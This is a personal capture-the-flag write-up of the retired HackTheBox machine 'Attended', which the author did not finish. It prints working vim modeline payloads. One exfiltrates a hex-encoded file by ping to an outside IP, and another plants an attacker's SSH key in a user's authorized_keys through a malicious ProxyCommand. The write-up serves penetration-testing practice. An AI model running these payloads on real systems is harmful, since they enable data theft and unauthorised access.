-rw-------   1 guly  wheel    163 May  5 04:35 tmpXRb75G
-rw-------   1 guly  wheel    165 May  5 04:21 tmpdb9vWb
-rw-------   1 guly  wheel    163 May  5 04:29 tmpixCLbH
-rw-------   1 guly  wheel    156 May  5 04:36 tmpkdu2EH
-rw-------   1 guly  wheel    161 May  5 04:24 tmplr54SV
-rw-------   1 guly  wheel     96 May  5 04:09 tmpqBW_sg
drwxrwxrwt   2 root  wheel    512 Dec  4 09:07 vi.recover
```

ls -al tmp/

```
total 32
drwxr-xr-x  2 guly  guly    512 Jun 26  2019 .
drwxr-x---  4 guly  guly    512 May  2 08:02 ..
-rwxr-x---  1 guly  guly  12288 Jun 26  2019 .config.swp
```

cant cat .config.swp so... after many different attempts this works
convert .config.swp to hexed hex

```
:!xxd -p -c 16 tmp/.config.swp | xxd -p -c 16 | while read exfil; do ping -p
$exfil -c 1 10.10.15.41; done||" vi:fen:fdm=expr:fde=assert_fails("source\!\
\%"):fdl=0:fdt="
```

```
xxd -p -r | .log.out > .config.swp
```

```
vim -r .config.swp
```

and....

```
Using swap file "config.swp"
"~guly/tmp/.ssh/config" [New DIRECTORY]
Recovery completed. You should check if everything is OK.
(You might want to write out this file under another name
and run diff with the original file to check for changes)
You may want to delete the .swp file now.

Press ENTER or type command to continue

recovered file
============================================================================

Host *
  User freshness
  ControlMaster auto
  ControlPath /tmp/%r@%h:%p
  ControlPersist 4h
```

```
  TCPKeepAlive yes
  ServerAliveInterval 60
```

hmm... ssh config??
can we use ProxyCommand and write ssh key and put this in /home/shared??

```
Host *
  User freshness
  ControlMaster auto
  ControlPath /tmp/%r@%h:%p
  ControlPersist 4h
  TCPKeepAlive yes
  ServerAliveInterval 60
  ProxyCommand echo ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAABgQDLUuqcIeVEpyVsKPyuopxlfonE8L/OoncLWbxgfGq+UyBp8WPM2r
 kali@kali >> /home/freshness/.ssh/authorized_keys
```

final Exploit to Gain SSH as freshness

```
:!echo -en 'Host *\n  User freshness\n  ControlMaster auto\n  ControlPath
/tmp/%r@%h:%p\n  ControlPersist 4h\n  TCPKeepAlive yes\n  ServerAliveInterval
60\n  ProxyCommand echo ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAABgQDLUuqcIeVEpyVsKPyuopxlfonE8L/OoncLWbxgfGq+UyBp8WPM2r
 kali@kali >> /home/freshness/.ssh/authorized_keys\n' > /home/shared/config||"
vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
```

have to wait a very long time....
and finally can ssh in as freshness... ughhhh

Enumerate Freshness

/etc/hosts

```
attended$ cat /etc/hosts
127.0.0.1       localhost
::1             localhost
```

```
192.168.23.2    attended.attended.htb attended
192.168.23.1    attendedgw.attended.htb attendedgw
```

/home/freshness/authkeys (binary) and note.txt

```
attended$ file authkeys
authkeys: ELF 64-bit LSB executable, x86-64, version 1
attended$ pwd
/home/freshness/authkeys
attended$ ls
authkeys note.txt
attended$ cat note.txt
on attended:
[ ] enable authkeys command for sshd
[x] remove source code
[ ] use nobody
on attendedgw:
[x] enable authkeys command for sshd
[x] remove source code
[ ] use nobody
```

To do

scan attendedgw and attended for open ports

set up BSD VM

Binary Exploitation of authkeys in BSD.

DNF - Box Retired

Ran out of time.
Did not finish box.
It has been retired.

For full write up.
Check out ippsec,
or
hackso.me